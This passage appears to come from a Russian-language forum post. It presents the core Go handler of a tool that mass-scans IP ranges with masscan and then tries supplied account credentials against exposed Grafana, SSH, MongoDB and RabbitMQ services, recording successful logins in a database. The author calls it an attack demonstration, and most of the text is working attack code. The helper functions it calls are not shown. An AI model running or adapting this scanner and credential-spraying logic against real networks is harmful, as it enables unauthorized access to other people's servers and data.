Основная функция проверки — LogConfigHandler - Логируются полученные данные для анализа. Для каждого диапазона вызывается masscan. Из его лога с помощью регулярных выражений извлекаются чистые IP-адреса. В зависимости от конфигурации фронтенда вызывается соответствующая функция для проверки. В случае успешного результата данные записываются в базу.
C-подобный: Скопировать в буфер обмена
Код:
func LogConfigHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Метод не поддерживается", http.StatusMethodNotAllowed)
return
}
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "Ошибка чтения тела запроса", http.StatusBadRequest)
return
}
defer r.Body.Close()
var config models.ConfigAll
if err := json.Unmarshal(body, &config); err != nil {
http.Error(w, "Ошибка парсинга JSON", http.StatusBadRequest)
return
}
results := make(chan string, len(config.IPList))
errors := make(chan error, len(config.IPList))
fmt.Println("Получена конфигурация:")
fmt.Println("Account:", config.Account)
fmt.Println("Credentials:", config.Credentials)
fmt.Println("Port:", config.Port)
fmt.Println("IP List:")
for _, ip := range config.IPList {
fmt.Println(" -", ip)
go func(ip string) {
portFlag := fmt.Sprintf("-p%d", config.Port)
cmd := exec.Command("sudo", "./scan", portFlag, ip, "--rate=1000")
var out bytes.Buffer
cmd.Stdout = &out
cmd.Stderr = &out
err := cmd.Run()
if err != nil {
errors <- err
return
}
results <- out.String()
}(ip)
}
ipRegex := regexp.MustCompile(`\d+\.\d+\.\d+\.\d+`)
for i := 0; i < len(config.IPList); i++ {
select {
case result := <-results:
fmt.Println("Command output:")
fmt.Println(result)
ipMatches := ipRegex.FindAllString(result, -1)
if len(ipMatches) > 0 {
fmt.Println("Found IP addresses:")
for _, ip := range ipMatches {
fmt.Println(" -", ip)
if config.Port == 3000 {
fmt.Print("Grafana")
found, protocol := isItGrafana(ip)
if found {
fmt.Printf("Grafana обнаружен на %s!\n", protocol)
if getGrafanaUser(ip, protocol, config.Account, config.Credentials) {
fmt.Println("Доступ к Grafana подтвержден.")
} else {
fmt.Println("Ошибка авторизации.")
}
} else {
fmt.Println("Grafana не найден.")
}
} else if config.Port == 22 {
fmt.Print("SSH")
err := sshConnect(ip, config.Account, config.Credentials)
if err != nil {
log.Fatal(err)
}
} else if config.Port == 27017 {
fmt.Print("MongoDb")
if !checkMongoAvailability(ip) {
fmt.Println("MongoDB не доступна на порту!")
} else if !checkMongoConnection(ip) {
fmt.Println("Не удалось подключиться к MongoDB без авторизации!")
} else {
addResultToDB(ip, "MongoDb", config.Account, config.Credentials)
}
} else if config.Port == 15672 {
fmt.Print("RabbitMQ")
found, protocol := isItRabbitMQ(ip)
if found {
fmt.Printf("RabbitMQ Management обнаружен на %s!\n", protocol)
if getRabbitMQUser(ip, protocol, config.Account, config.Credentials) {
fmt.Println("Доступ к RabbitMQ подтвержден.")
} else {
fmt.Println("Ошибка авторизации.")
}
} else {
fmt.Println("RabbitMQ Management не найден.")
}
}
}
} else {
fmt.Println("No IP addresses found in output")
}
case err := <-errors:
fmt.Println("Error:", err)
}
}
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]string{
"status": "completed",
"message": "All IPs have been scanned",
})
}
На примере этого проекта можно увидеть демонстрацию атаки, а также возможность комбинировать необходимый функционал путем интеграции опен-сорс решений.
Трям! Пока!